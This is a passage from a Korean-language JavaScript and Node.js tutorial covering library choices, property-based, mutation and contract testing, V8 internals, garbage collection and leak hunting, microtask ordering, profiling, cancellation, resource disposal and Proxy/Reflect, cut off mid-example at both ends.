| CSV 처리 | papaparse · csv-parse | 대용량은 스트림 모드로 (🟩 Node n05) |
| PDF 생성 | pdfkit · puppeteer | HTML→PDF 면 puppeteer 가 편함 |
| 이미지 처리 | sharp | C++ 기반이라 빠름. 대량이면 워커로 |
| 파일 업로드 | @aws-sdk/client-s3 | presigned URL 로 서버를 안 거치는 게 정답 (x08) |
| 입력 검증 | zod | 타입까지 자동 생성 (o07) |
| Nest DTO 검증 | class-validator | Nest·Swagger 통합이 매끄러움 (s06) |
| 작업 큐 | bullmq | Redis 기반. 재시도·지연·반복 (k07) |
| 이벤트 스트림 | kafkajs | 여러 서비스가 같은 이벤트를 구독할 때 |
| 스케줄러 | node-cron · K8s CronJob | 서버 여러 대면 분산 락 필요 (k11) |
| JWT | jsonwebtoken · jose | jose 는 표준 준수·ESM 친화 |
| 비밀번호 해시 | bcrypt · argon2 | MD5·SHA 단독 사용 금지 |
| 소셜 로그인 | passport · Auth.js | Next.js 면 Auth.js 가 편함 |
| 로깅 | pino | JSON 한 줄. 빠름 (o09) |
| 메트릭 | prom-client | 기본 지표 자동 수집 (k12) |
| 분산 추적 | @opentelemetry/* | 자동 계측으로 코드 수정 최소 |
| 에러 추적 | Sentry | 소스맵 업로드까지 해야 의미 있음 |
| 단위 테스트 | vitest | 빠르고 설정이 거의 없음 (o05) |
| E2E 테스트 | playwright | codegen 으로 시작 (o06) |
| API 테스트 | supertest | 서버를 안 띄우고 검증 (x11) |
| 테스트용 DB | testcontainers | 진짜 DB 를 도커로 (s14) |
| 외부 API 모킹 | msw | 네트워크 계층에서 가로챔 |
| ORM | prisma · drizzle | drizzle 은 SQL 에 가깝고 가벼움 |
| Nest ORM | typeorm · prisma | JPA 경험자는 TypeORM 이 익숙 (s11) |
| Redis 클라이언트 | ioredis | 클러스터·Lua 지원이 좋음 (k03) |
| HTTP 클라이언트 | fetch(내장) · ky | 타임아웃 반드시 지정 (o08) |
| 실시간 통신 | socket.io · ws | 서버 여러 대면 Redis 어댑터 (k11) |
| 메일 발송 | nodemailer · resend | 큐를 거쳐 보내세요 (k07) |
| 결제 연동 | @tosspayments/* · stripe | 멱등성 필수 (k06) |
| 환경 변수 | node --env-file + zod | dotenv 불필요 (o09) |
| 날짜 처리 | Intl(내장) · date-fns | moment 는 금지 (j15) |
| API 문서 | @nestjs/swagger · scalar | 운영에서는 접근 제한 |
| CLI 만들기 | commander · clack | 간단하면 내장 parseArgs |
| 상태 관리 | zustand · TanStack Query | 서버 데이터는 후자로 (r04·r08) |
| 폼 관리 | react-hook-form + zod | 리렌더가 적음 |
| 모노레포 | pnpm + turborepo | 캐시로 CI 시간 단축 (o02) |
테스트 심화 — 예제를 넘어서
o05 가 “어떻게 쓰는가”였다면, 여기는 “내 테스트가 무엇을 못 잡고 있는가” 입니다.
① 속성 기반 테스트 — fast-check
보통의 테스트는 내가 생각해 낸 입력만 검증합니다. 문제는 버그가 사는 곳이 대개 내가 생각 못 한 입력이라는 점입니다 — 빈 문자열, 이모지, 음수 0, 아주 큰 수, 서머타임 경계. 속성 기반 테스트는 입력을 라이브러리가 수백 개 만들어 던집니다.
npm i -D fast-check @fast-check/vitestimport { test } from "@fast-check/vitest";
import fc from "fast-check";
import { expect } from "vitest";
// "예제"가 아니라 "항상 참이어야 하는 성질(property)" 을 적습니다
test.prop([fc.array(fc.integer())])("정렬은 길이를 바꾸지 않는다", (arr) => {
expect(mySort(arr).length).toBe(arr.length);
});
test.prop([fc.string()])("인코딩 → 디코딩은 원본이다", (s) => {
expect(decode(encode(s))).toBe(s); // ★ 왕복(round-trip) 속성
});
test.prop([fc.nat(), fc.integer({ min: 0, max: 100 })])(
"할인가는 0 이상 원가 이하다", // 불변식(invariant)
(price, pct) => {
const r = applyDiscount(price, pct);
expect(r).toBeGreaterThanOrEqual(0);
expect(r).toBeLessThanOrEqual(price);
});
반례 축소(shrinking) — 이게 진짜 값어치
Property failed after 37 tests
{ seed: 1739..., path: "12:3:0:1" }
Counterexample: [ 0, -0 ] ← ★ 이 두 줄이 전부
처음 실패한 입력은 [ 8391, -4, 0, 77, -0, 12, ... ] 였습니다.
fast-check 는 실패를 유지하는 선에서 입력을 계속 줄여
"가장 작은 반례" 만 남겨 줍니다.
→ 디버깅 시작점이 "배열 200개" 가 아니라 "[0, -0]" 이 됩니다.
(Object.is(0, -0) === false 라서 중복 제거가 깨지던 실제 버그)
가치가 없는 곳 — CRUD 컨트롤러, 화면 조립 코드. “항상 참인 성질”이 안 떠오르면 그 코드는 대상이 아닙니다.
② 뮤테이션 테스트 — Stryker
커버리지 100% 는 “그 줄이 실행됐다”는 뜻일 뿐,
“그 줄이 틀렸을 때 테스트가 빨개진다”는 뜻이 아닙니다.
expect 가 하나도 없는 테스트도 커버리지는 올라갑니다.
Stryker 는 소스를 일부러 고쳐 놓고(mutant) 테스트가 잡아내는지 셉니다.
npm i -D @stryker-mutator/core @stryker-mutator/vitest-runner// stryker.config.json
{ "testRunner": "vitest", "coverageAnalysis": "perTest",
"mutate": ["src/domain/**/*.ts", "!src/**/*.spec.ts"],
"thresholds": { "high": 80, "low": 60, "break": 50 } }
$ npx stryker run
src/domain/discount.ts
#12 Survived if (percent > 100) → if (percent >= 100)
#19 Survived return price * r → return price / r
#24 Killed ConditionalExpression
Mutation score: 61.5% ← ★ 커버리지는 98% 였습니다
"Survived" = 코드를 망가뜨렸는데 테스트가 전부 통과했다
= 그 분기를 지켜 주는 테스트가 사실상 없다
③ 계약 테스트 — Pact
MSA 에서 가장 흔한 사고는 “서버 팀이 필드 이름을 바꿨는데 아무도 몰랐다” 입니다. 각 서비스의 단위 테스트는 전부 초록색이고, E2E 는 느려서 자주 못 돌립니다. 계약 테스트는 소비자가 기대하는 응답 모양을 파일(pact)로 못 박고 제공자 CI 가 그것으로 자신을 검증합니다.
npm i -D @pact-foundation/pact// ── 소비자(주문 서비스) 쪽 테스트 ──
import { PactV3, MatchersV3 as M } from "@pact-foundation/pact";
const provider = new PactV3({ consumer: "order-api", provider: "user-api" });
it("사용자 조회 계약", async () => {
provider
.given("id 1 사용자가 존재한다")
.uponReceiving("사용자 조회 요청")
.withRequest({ method: "GET", path: "/users/1" })
.willRespondWith({
status: 200,
body: { // ★ 값이 아니라 "모양"을 고정
id: M.integer(1), email: M.email("a@b.c"),
grade: M.regex(/GOLD|SILVER/, "GOLD"),
},
});
await provider.executeTest(async (mock) => {
const u = await new UserClient(mock.url).find(1);
expect(u.email).toBe("a@b.c");
});
});
// → pacts/order-api-user-api.json 생성 → Pact Broker 로 발행
# ── 제공자(user-api) CI ──
# 발행된 모든 소비자 계약을 실제 서버에 재생해 봅니다
npx pact-provider-verifier --provider-base-url=http://localhost:3000
# ★ email 을 mail 로 바꾸면 "제공자 CI 가" 빨개집니다.
# 소비자 팀이 운영에서 발견하기 전에.
④ 스냅샷 테스트의 함정
it("응답 형태", () => {
expect(render(order)).toMatchSnapshot(); // ⚠️ 편하지만 위험
});
- 실패해도 무엇이 잘못인지 모릅니다 — “달라졌다”만 알려 줍니다
-u반사 신경 — 깨지면 다들vitest -u로 덮어씁니다. 그 순간 버그가 정답으로 승격됩니다 ★- 날짜·UUID·정렬 순서가 섞이면 깜빡이는 테스트가 되고,
거대한
.snap은 아무도 리뷰하지 않습니다
// ✅ 인라인 스냅샷 — 코드 옆에 있어 리뷰가 됩니다
expect(fmt(1234567)).toMatchInlineSnapshot(`"1,234,567원"`);
// ✅ 흔들리는 값은 고정하고, 검증할 필드만 명시
vi.setSystemTime(new Date("2026-08-04"));
expect(res.body).toMatchObject({ status: "PAID", amount: 10_000 });
⑤ 피라미드와 “테스트하지 않을 것”
▲ E2E (Playwright) 5% 결제·로그인 등 핵심 흐름만
███ 통합 (DB·HTTP 실물) 25% ★ 가성비가 가장 높은 층
███████ 단위 (순수 로직) 70% 빠르고 많아도 부담 없음
느리고 잘 깨지는 층이 위로 갈수록 얇아야 합니다.
E2E 200개짜리 프로젝트는 예외 없이 "아무도 안 보는 빨간 CI" 가 됩니다.
| 테스트하지 말 것 | 이유 |
|---|---|
| getter · setter · DTO 매핑 | 깨질 수가 없습니다. 리팩터링만 방해합니다 |
| 라이브러리 동작 (Zod·Prisma 자체) | 남의 테스트를 다시 짜는 일입니다 |
| mock 만 검증하는 테스트 | 내가 짠 mock 이 잘 도는지를 볼 뿐입니다 (o05) |
| 화면 픽셀·문구 | 가장 자주 바뀌고 가장 자주 깨집니다 |
| private 메서드 | 공개 동작으로 검증되지 않는다면 설계가 잘못된 것입니다 |
왜 이 코드가
빠른지
설명할 수 있는가
문법을 아는 것과 동작 원리를 아는 것은 다릅니다. 이 탭은 V8 내부 · 메모리 · 프로파일링 · 메타프로그래밍 · 보안 · 아키텍처를 다룹니다. 실무에서 매일 쓰지는 않지만, 장애를 해결할 때와 면접에서 차이를 만듭니다. 여기까지 마치면 “왜 느린가·왜 새는가”를 측정으로 답하고, 대규모 코드베이스의 구조를 설계하는 자리에 설 수 있습니다.
V8 이 코드를 실행하는 과정
자바스크립트는 인터프리터 언어일까요? 절반만 맞습니다.
파이프라인
소스 코드
↓ 파서 (Parser)
추상 구문 트리 (AST)
↓ Ignition — 바이트코드 인터프리터
바이트코드 실행 시작 ← ★ 여기서 바로 돌기 시작합니다 (빠른 시작)
↓ 실행하면서 프로파일링 ("이 함수가 자주 불린다")
Sparkplug (베이스라인 컴파일러) — 간단한 기계어
↓ 꽤 자주 불리면
Maglev (중간 티어) — 빠르게 만든 준수한 기계어
↓ 아주 뜨거우면
TurboFan (최고 티어) — ★ 가장 잘 최적화된 기계어
│ · 백엔드는 2025 년에 Turboshaft(CFG 기반 IR)로 전면 교체됐습니다
│ · Turbolev — Maglev IR 을 Turboshaft 백엔드에 바로 넣어
│ TurboFan 의 "프런트엔드"까지 대체하는 작업이 진행 중입니다
↓ 가정이 깨지면
Deoptimization — 다시 바이트코드로 ★ 성능 급락
미리 다 컴파일하지 않고, 실행하면서 뜨거운 코드만 기계어로 만듭니다. 그래서 시작은 빠르고, 반복 실행되는 코드는 C 에 근접한 속도가 나옵니다. 대신 “최적화 가정”이 깨지면 되돌아갑니다(d02).
오래된 TurboFan 은 “바다의 노드(Sea of Nodes)” 라는 느슨한 그래프 IR 을 썼습니다. 유연하지만 컴파일이 느리고 캐시 지역성이 나빠, V8 팀은 백엔드를 Turboshaft(제어 흐름 그래프 기반 IR)로 다시 썼고 2025 년에 JS 백엔드가 전부 Turboshaft 로 넘어갔습니다. 지금 진행 중인 Turbolev 는 여기서 한 걸음 더 나가 Maglev 가 만든 IR 을 그대로 Turboshaft 백엔드에 넘겨 TurboFan 프런트엔드(그래프 생성 단계)까지 걷어내는 작업입니다 — 목표는 같은 최종 성능에 훨씬 짧은 컴파일 시간입니다. 내 코드가 할 일은 달라지지 않습니다. 아래 “변하지 않는 원칙”이 그대로입니다.
# 실제로 확인해 보기
node --trace-opt --trace-deopt app.js # 최적화·해제 로그
node --print-bytecode app.js # 바이트코드 출력
node --allow-natives-syntax # %OptimizeFunctionOnNextCall 사용 가능
Hermes · 다른 엔진
| 엔진 | 특징 |
|---|---|
| V8 | Chrome · Node · Electron. JIT 중심 |
| Hermes | React Native 기본. 미리 바이트코드로 컴파일(AOT) → 앱 시작이 빠르고 메모리가 적음 |
| JavaScriptCore | Safari · Bun |
| SpiderMonkey | Firefox |
for 가
forEach 보다 항상 빠르다)이 지금은 차이가 없거나 역전된 경우가 많습니다.
항상 측정하세요(d06·d14).
그래도 변하지 않는 원칙
- 객체 모양을 일정하게 유지 (d02)
- 같은 자리에는 같은 타입을 넣기
- 불필요한 객체 생성을 줄이기 (GC 부담)
- 알고리즘 복잡도가 미시 최적화보다 백 배 중요
- 이벤트 루프를 막지 않기 (🚀 대규모 k02)
히든 클래스 · 최적화 해제
같은 코드가 10배 느려지는 이유입니다.
히든 클래스 (Shape / Map)
// V8 은 객체마다 "내부 구조 정보"를 만들어 재사용합니다
const a = { x: 1, y: 2 }; // 히든클래스 C0 → C1(x) → C2(x,y)
const b = { x: 3, y: 4 }; // ★ 같은 C2 를 공유 → 빠른 접근
const c = { y: 5, x: 6 }; // ❌ 순서가 다르면 다른 히든클래스
const d = { x: 7 };
d.y = 8; // ❌ 나중에 추가해도 경로가 달라짐
// ★ 규칙
// ① 속성을 "생성자에서 전부" 초기화
// ② 항상 "같은 순서"로
// ③ delete 를 쓰지 말 것 (사전 모드로 전락 → 크게 느려짐)
느린 패턴
class P {
constructor(x, y) {
this.x = x;
if (y) this.y = y; // 조건부
}
}
delete obj.cache; // 사전 모드
obj[key] = v; // 동적 키 남발
빠른 패턴
class P {
constructor(x, y) {
this.x = x;
this.y = y ?? null; // 항상 정의
this.cache = null;
}
}
obj.cache = null; // delete 대신
// 동적 키가 많으면 Map 사용
인라인 캐시 (IC)
function getX(obj) { return obj.x; }
// 모노모픽 — 한 종류만 들어옴 → ★ 가장 빠름
getX({ x: 1, y: 2 });
getX({ x: 3, y: 4 });
// 폴리모픽 — 2~4 종류 → 조금 느림
getX({ x: 1, y: 2 });
getX({ x: 1, z: 3 });
// 메가모픽 — 5종류 이상 → ★ 최적화 포기, 매번 조회
// 실무에서 이렇게 되는 경우:
// · 여러 API 응답을 같은 함수로 처리
// · JSON.parse 결과를 그대로 여기저기 넘김
// 배열도 "요소 종류"에 따라 내부 표현이 다릅니다
const nums = [1, 2, 3]; // PACKED_SMI — 가장 빠름
const dbl = [1.1, 2.2]; // PACKED_DOUBLE
const mix = [1, "a", {}]; // PACKED_ELEMENTS — 느림
const holey = [1, , 3]; // ★ HOLEY — 구멍이 있으면 크게 느려집니다
// 구멍을 만드는 코드
const arr = new Array(100); // ❌ 전부 구멍
arr[500] = 1; // ❌ 중간이 비어 버림
delete arr[0]; // ❌
// ✅
const arr2 = new Array(100).fill(0);
const arr3 = Array.from({ length: 100 }, (_, i) => i);
메모리 구조 · GC
자바의 GC 와 개념이 거의 같습니다. 세대별 수집이 핵심입니다.
힙 구조
[Young Generation] 새로 만든 객체 (작음, 수 MB)
├ Nursery / From
└ Intermediate / To
→ Scavenger 로 자주·빠르게 수집 (1~2ms)
→ 대부분의 객체는 여기서 바로 사라집니다 ("대부분 금방 죽는다")
[Old Generation] 두 번 살아남은 객체 (큼)
→ Mark-Sweep-Compact 로 가끔 수집
→ ★ Major GC 는 수십~수백 ms 걸릴 수 있습니다
[그 외]
Large Object Space 큰 객체
Code Space 컴파일된 코드
※ Buffer 는 힙 밖(외부 메모리) — --max-old-space-size 와 무관
import v8 from "node:v8";
console.log(v8.getHeapStatistics());
// heap_size_limit, used_heap_size, external_memory …
process.memoryUsage();
// rss(전체) · heapTotal · heapUsed · external · arrayBuffers
memory.max 를 읽어
V8 기본 힙 크기를 컨테이너에 맞춰 잡습니다.
그래도 --max-old-space-size 를 컨테이너 메모리의 70~75% 로
직접 지정하는 이유는 —
① Buffer·네이티브 모듈·스레드 스택은 힙 밖이라 자동 산정값에도 여유가 없을 수 있고,
② 사이드카가 붙은 파드에서는 파드 전체 한도와 컨테이너 한도가 어긋나며,
③ 값을 못 박아야 OOMKilled(exit 137) 대신
V8 의 heap out of memory 스택을 로그로 받을 수 있기 때문입니다(🚀 대규모 k14).
GC 를 덜 일하게 하기
// ① 반복문 안에서 객체를 계속 만들지 않기
// ❌ 100만 개의 임시 객체
for (const row of rows) {
results.push({ ...row, computed: calc(row) });
}
// ✅ 필요한 필드만
for (const row of rows) {
results.push({ id: row.id, value: calc(row) });
}
// ② 큰 문자열 연결은 배열 + join
// ❌ 반복마다 새 문자열
let s = ""; for (const x of arr) s += x;
// ✅
const parts = []; for (const x of arr) parts.push(x); parts.join("");
// ③ 스트리밍으로 — 전체를 메모리에 올리지 않기 (🟩 Node n05)
// ❌ JSON.parse(hugeString)
// ✅ 스트리밍 파서 또는 청크 처리
# GC 관찰
node --trace-gc app.js
# [12345:0x...] 1234 ms: Scavenge 45.2 (52.1) -> 12.3 (52.1) MB, 1.2 ms
# ↑ 종류 ↑ 전 ↑ 후 ↑ 걸린 시간
# Major GC(Mark-Sweep)가 자주·오래 걸린다면
# → Old Generation 에 객체가 계속 쌓이고 있다는 뜻 (d04 누수 의심)
--max-semi-space-size 같은 값을 조정하기 전에
객체를 덜 만드는 코드로 바꾸는 것이 훨씬 효과가 큽니다.
p99 가 튄다면 GC 정지를 의심하되, 먼저 측정하세요.
메모리 누수 잡기
“메모리가 계속 늘어요”를 실제로 해결하는 절차입니다.
흔한 원인 다섯 가지
// ① 무한히 커지는 캐시 — 가장 흔합니다
const cache = new Map();
app.get("/u/:id", (req, res) => {
cache.set(req.params.id, data); // ❌ 지우는 코드가 없음
});
// ✅ LRU + TTL
import { LRUCache } from "lru-cache";
const cache = new LRUCache({ max: 5000, ttl: 60_000 });
// ② 해제 안 된 리스너
emitter.on("data", handler); // 요청마다 등록
// ✅ off 또는 once, 요청 스코프에서는 등록 자체를 피하기
// ③ 정리 안 된 타이머
setInterval(poll, 1000); // ❌ 참조가 영원히 유지
// ✅ const t = setInterval(...); clearInterval(t);
// ④ 클로저가 큰 객체를 붙잡음
function handler(hugeData) {
return () => console.log(hugeData.id); // hugeData 전체가 살아남음
}
// ✅ 필요한 값만 복사
function handler(hugeData) {
const id = hugeData.id;
return () => console.log(id);
}
// ⑤ 전역·모듈 스코프에 누적
const requests = []; // ❌ 모듈 스코프
app.use((req) => requests.push(req)); // 영원히 증가
찾는 절차 — 스냅샷 비교
1) 서버를 --inspect 로 띄운다
node --inspect dist/index.js
2) Chrome → chrome://inspect → Memory 탭
3) ★ 스냅샷 A 를 찍는다 (안정 상태)
4) 부하를 준다 (같은 요청 1,000번)
npx autocannon -c 10 -a 1000 http://localhost:3000/api/x
5) GC 를 유도하고 (쓰레기통 아이콘) ★ 스냅샷 B 를 찍는다
6) "Comparison" 뷰로 A → B 비교
→ Delta 가 큰 생성자를 찾는다
→ Retainers 로 "누가 붙잡고 있는지" 역추적 ★
// 코드에서 직접 스냅샷 (운영 중 조사)
import { writeHeapSnapshot } from "node:v8";
process.on("SIGUSR2", () => { // ★ 신호로 트리거
const f = writeHeapSnapshot(`/tmp/heap-${Date.now()}.heapsnapshot`);
logger.info({ f }, "힙 스냅샷 저장");
});
// kill -SIGUSR2 <pid> 로 원하는 순간에 찍을 수 있습니다
heapUsed 를 메트릭으로 내보내고
재시작 후 우상향하는지 보세요.
정상이라면 톱니 모양(늘었다 GC 로 줄었다)이 반복되고,
누수면 바닥선이 계속 올라갑니다(🚀 대규모 k12).
마이크로태스크 심화
🟨 JS j10 의 확장판. 정확한 우선순위를 정리합니다.
Node 의 전체 우선순위
1. 동기 코드 (현재 스택)
2. process.nextTick 큐 ← ★ Node 전용, 가장 먼저
3. 마이크로태스크 큐 (Promise, queueMicrotask)
4. 매크로태스크 — 이벤트 루프 페이즈 순서로
timers → pending → poll → check(setImmediate) → close
★ 2·3 은 매크로태스크 콜백 하나가 끝날 때마다
전부 비워집니다 (Node 11+).
console.log("1: 동기");
setTimeout(() => console.log("6: timeout"), 0);
setImmediate(() => console.log("7: immediate"));
process.nextTick(() => console.log("3: nextTick"));
Promise.resolve().then(() => console.log("4: promise"));
queueMicrotask(() => console.log("5: microtask"));
console.log("2: 동기");
// 1 → 2 → 3 → 4 → 5 → 그리고 6·7 (CommonJS 기준)
// ★ ESM(.mjs · "type": "module")에서는 1 → 2 → 4 → 5 → 3 입니다 —
// 모듈 본문이 이미 마이크로태스크 안에서 돌아서, nextTick 큐는 그 뒤에 비워집니다
// ★ 단, 6(timeout) vs 7(immediate) 순서는 메인 모듈에선 보장되지
// 않습니다 — I/O 콜백 안에서만 immediate 가 항상 먼저 (n03)
process.nextTick 을 남용하면 이벤트 루프가 굶습니다.
nextTick 안에서 또 nextTick 을 부르면
큐가 비지 않아 타이머·I/O 가 영원히 실행되지 않습니다(starvation).
라이브러리 내부용이라고 생각하고, 앱 코드에서는 쓰지 마세요.
실무에서 문제가 되는 경우
// ① 마이크로태스크 무한 루프 — 서버가 응답을 멈춥니다
function loop() { Promise.resolve().then(loop); }
loop(); // ❌ CPU 100%, 다른 요청 전부 대기
// ② 재귀 Promise 로 큐 처리
async function drain() {
while (queue.length) {
await process(queue.shift());
// ★ await 뒤가 마이크로태스크라 I/O 에 양보되지 않을 수 있습니다
}
}
// ✅ 주기적으로 매크로태스크에 양보
if (++n % 100 === 0) await new Promise(r => setImmediate(r));
// ③ async 함수는 첫 await 전까지 "동기처럼" 실행됩니다
async function f() {
console.log("A"); // 즉시 실행
await null;
console.log("B"); // 마이크로태스크
}
f(); console.log("C"); // A → C → B
// ④ 브라우저 전용 — 렌더링과의 관계
element.style.width = "100px";
requestAnimationFrame(() => { /* 다음 프레임 직전 */ });
// 마이크로태스크는 "렌더링 전에" 전부 실행됩니다
// → 여기서 무거운 일을 하면 프레임이 밀립니다
프로파일링
느린 곳은 추측하지 말고 측정하세요. 도구가 답을 알려 줍니다.
CPU 프로파일
# ① 내장 프로파일러 — 가장 간단
node --cpu-prof --cpu-prof-dir=./prof dist/index.js
# 종료 시 .cpuprofile 생성 → Chrome DevTools 에 드래그
# ② 실행 중인 프로세스에 붙기
node --inspect dist/index.js
# chrome://inspect → Performance → Record
# ③ 플레임 그래프 (한눈에 보기 좋습니다)
npx clinic flame -- node dist/index.js
npx clinic doctor -- node dist/index.js # ★ 자동 진단 (이벤트 루프·GC·I/O)
# ④ 0x — 가벼운 플레임 그래프
npx 0x dist/index.js
플레임 그래프 읽는 법
· 가로 폭 = 그 함수가 CPU 를 쓴 시간 비율 ★
· 세로 = 호출 스택 깊이
· "넓고 평평한 것"을 찾으세요 — 그게 병목입니다
· 내 코드가 아니라 라이브러리가 넓다면
→ 어떻게 호출하고 있는지를 보세요 (대개 호출 횟수 문제)
코드 안에서 측정
import { performance, PerformanceObserver } from "node:perf_hooks";
// ★ 관찰자를 먼저 등록합니다 — 등록 전에 생긴 항목은 전달되지 않습니다
const obs = new PerformanceObserver((list) => {
for (const e of list.getEntries()) {
metrics.histogram(`perf_${e.name}`, e.duration);
}
});
obs.observe({ entryTypes: ["measure", "function"] });
// 구간 측정
performance.mark("db:start");
await query();
performance.mark("db:end");
performance.measure("db", "db:start", "db:end");
// 함수 단위 자동 측정
const timed = performance.timerify(heavyFunction);
// 벤치마크는 도구로 (수동 측정은 오차가 큽니다)
import { Bench } from "tinybench";
const bench = new Bench({ time: 1000 });
bench
.add("Set 으로 중복 제거", () => [...new Set(arr)])
.add("filter+indexOf", () => arr.filter((v, i) => arr.indexOf(v) === i));
await bench.run();
console.table(bench.table());
동시성 심화 · 취소
실무에서 의외로 안 쓰는데 꼭 필요한 기법들입니다.
AbortController — 작업 취소
const controller = new AbortController();
// 여러 작업에 같은 시그널을 전달
const pending = Promise.all([
fetch(url1, { signal: controller.signal }),
fetch(url2, { signal: controller.signal }),
]);
// 화면을 떠나는 등 결과가 더 필요 없어지면
controller.abort(); // ★ 둘 다 즉시 취소 → pending 은 AbortError 로 reject
// 타임아웃 · 결합
const timeout = AbortSignal.timeout(3000);
const combined = AbortSignal.any([controller.signal, timeout]);
// ↑ WHATWG DOM (Node 20+ · 브라우저 공통)
// 내가 만든 비동기 함수도 취소 가능하게
async function longTask(signal: AbortSignal) {
for (const item of items) {
signal.throwIfAborted(); // ★ 중간중간 확인
await processItem(item);
}
}
// 정리 등록
signal.addEventListener("abort", () => cleanup(), { once: true });
useEffect 정리),
② 검색어가 바뀌면 이전 요청 취소,
③ 서버에서 클라이언트 연결이 끊기면 무거운 작업 중단
(req.on("close")).
세마포어 · 뮤텍스
// 동시 실행 수 제한 — 직접 구현 (🟩 Node n11 의 원리)
class Semaphore {
private queue: (() => void)[] = [];
private active = 0;
constructor(private readonly limit: number) {}
async acquire(): Promise<() => void> {
if (this.active < this.limit) this.active++;
else await new Promise<void>(r => this.queue.push(r)); // 깨어나면 슬롯을 넘겨받은 상태
return () => { // release
const next = this.queue.shift();
if (next) next(); // ★ 슬롯을 대기자에게 바로 넘김 (active 그대로)
else this.active--; // 줄였다 깨우면 그 사이 끼어든 호출이 limit 를 넘깁니다
};
}
}
const sem = new Semaphore(5);
const release = await sem.acquire();
try { await heavyTask(); } finally { release(); }
// 같은 요청이 동시에 오면 하나만 실행 (in-flight 중복 제거)
const inFlight = new Map<string, Promise<unknown>>();
function dedupe<T>(key: string, fn: () => Promise<T>): Promise<T> {
const existing = inFlight.get(key);
if (existing) return existing as Promise<T>;
const p = fn().finally(() => inFlight.delete(key));
inFlight.set(key, p);
return p;
}
// ★ 캐시 스탬피드를 한 프로세스 안에서 막는 간단한 방법 (🚀 k04)
const user = await dedupe(`user:${id}`, () => db.user.findUnique({ where: { id } }));
worker_threads 사이에서 진짜 공유 메모리를 쓸 때만 필요합니다.
일반적인 서버 코드에서는 거의 쓸 일이 없고,
잘못 쓰면 디버깅이 극도로 어려워집니다.
using · await using — 자원 해제를 언어가 맡습니다 Stage 4
위 세마포어 코드의 try { … } finally { release(); } 가 눈에 걸렸다면,
그게 바로 이 문법이 나온 이유입니다.
using 으로 선언한 값은 블록을 벗어날 때
[Symbol.dispose]() 가 선언의 역순으로 자동 호출됩니다 —
정상 종료든 return 이든 예외든 상관없이. (Node 24+ · Chrome 134+)
지금까지 — try/finally 로 직접
const release = await sem.acquire();
try {
const conn = await pool.connect();
try {
await conn.query("BEGIN");
try {
await work(conn);
await conn.query("COMMIT");
} catch (e) {
await conn.query("ROLLBACK");
throw e;
}
} finally {
conn.release();
}
} finally {
release();
}
// ★ 중첩이 깊어질수록 하나씩 빠뜨립니다
using — 정리 코드가 사라집니다
{
using slot = await sem.acquireScoped();
await using conn = await pool.connect();
await using tx = await conn.begin();
await work(conn);
await tx.commit();
}
// 블록을 벗어나면 역순으로
// tx → (commit 안 했으면) ROLLBACK
// conn→ release
// slot→ 세마포어 반납
// 예외가 나도 똑같이 실행됩니다
내 객체를 참여시키기 — 심볼 하나면 됩니다
// ① 동기 자원 — Symbol.dispose
class Timer {
private t0 = performance.now();
constructor(private label: string) {}
[Symbol.dispose]() {
console.log(`${this.label}: ${(performance.now() - this.t0).toFixed(1)}ms`);
}
}
function handler() {
using _t = new Timer("handler"); // 함수가 어떻게 끝나든 시간이 찍힙니다
return doWork();
}
// ② 비동기 자원 — Symbol.asyncDispose (await using 으로 씁니다)
class Tx {
private done = false;
private constructor(private db: Client) {}
static async open(db: Client) { await db.query("BEGIN"); return new Tx(db); }
async commit() { await this.db.query("COMMIT"); this.done = true; }
async [Symbol.asyncDispose]() {
if (!this.done) await this.db.query("ROLLBACK");
}
}
// ③ 여러 자원을 한 덩어리로 — DisposableStack / AsyncDisposableStack
async function setup() {
await using stack = new AsyncDisposableStack();
const db = stack.use(await openDb());
const cache = stack.use(await openCache());
stack.defer(async () => log.flush()); // 임의의 정리 작업도 등록 가능
return stack.move(); // ★ 성공했을 때만 소유권을 호출자에게 넘깁니다
} // 중간에 실패하면 여기서 전부 정리됩니다
using 은 블록 스코프 전용입니다 — 최상위 모듈이나
클래스 필드에는 못 씁니다.
② 재할당이 안 됩니다(const 처럼 동작).
③ TypeScript 로 쓴다면 lib 에
esnext.disposable 이 들어가 있어야 Symbol.dispose 타입이 잡힙니다.
정리 순서가 역순이라는 점도 기억해 두세요 — 나중에 잡은 자원을 먼저 놓습니다.
Proxy · Reflect
프레임워크가 “마법”을 부리는 원리입니다.
기본
const target = { name: "김현우", age: 30 };
const proxy = new Proxy(target, {
get(obj, prop, receiver) {
console.log(`읽기: ${String(prop)}`);
return Reflect.get(obj, prop, receiver); // ★ Reflect 로 기본 동작
},
set(obj, prop, value, receiver) {
if (prop === "age" && typeof value !== "number")
throw new TypeError("age 는 숫자여야 합니다");
return Reflect.set(obj, prop, value, receiver);
},
has(obj, prop) { return Reflect.has(obj, prop); },
deleteProperty(obj, prop) { return Reflect.deleteProperty(obj, prop); },
});
proxy.name; // 읽기: name
proxy.age = "삼십"; // TypeError
obj[prop] 로 직접 접근하면 getter 안의 this 가
엉뚱한 곳을 가리킬 수 있습니다.
Reflect.get(obj, prop, receiver) 는
receiver 를 올바르게 전달해 이 문제를 막습니다.
실무 활용
// ① 반응형 상태 (Vue 3 의 핵심 원리)
function reactive<T extends object>(obj: T, onChange: () => void): T {
return new Proxy(obj, {
set(t, k, v, r) {
const ok = Reflect.set(t, k, v, r);
onChange(); // ★ 값이 바뀌면 화면 갱신
return ok;
},
});
}
// ② 접근하지 않은 속성은 로딩하지 않기 (지연 초기화)
const lazyConfig = new Proxy({} as Config, {
get(t, k) {
if (!(k in t)) Reflect.set(t, k, loadFromDisk(String(k)));
return Reflect.get(t, k);
},
});
// ③ 없는 속성 접근을 에러로 (오타 방지)
const strict = new Proxy(config, {
get(t, k) {
if (!(k in t)) throw new Error(`설정 '${String(k)}' 이 없습니다`);
return Reflect.get(t, k);
},
});
// ④ 메서드 호출 로깅·계측 (APM 이 하는 일)
function instrument<T extends object>(obj: T, name: string): T {
return new Proxy(obj, {
get(t, k, r) {
const v = Reflect.get(t, k, r);
if (typeof v !== "function") return v;
return async (...args: unknown[]) => { // ⚠️ 동기 메서드도 Promise 를 돌려주게 됩니다 — 비동기 메서드만 있는 객체에
const start = performance.now();
try { return await v.apply(t, args); }
finally { metrics.timing(`${name}.${String(k)}`, performance.now() - start); }
};
},
});
}
Symbol · WeakRef
메모리를 붙잡지 않는 참조와 숨겨진 키.
Symbol
// 절대 충돌하지 않는 키
const HIDDEN = Symbol("internal");
obj[HIDDEN] = "메타데이터";
Object.keys(obj); // Symbol 키는 안 나옵니다
JSON.stringify(obj); // 직렬화에도 포함 안 됨
Object.getOwnPropertySymbols(obj); // 이걸로만 접근
// ★ 잘 알려진 심볼 — 언어 동작을 바꿉니다
class Range {
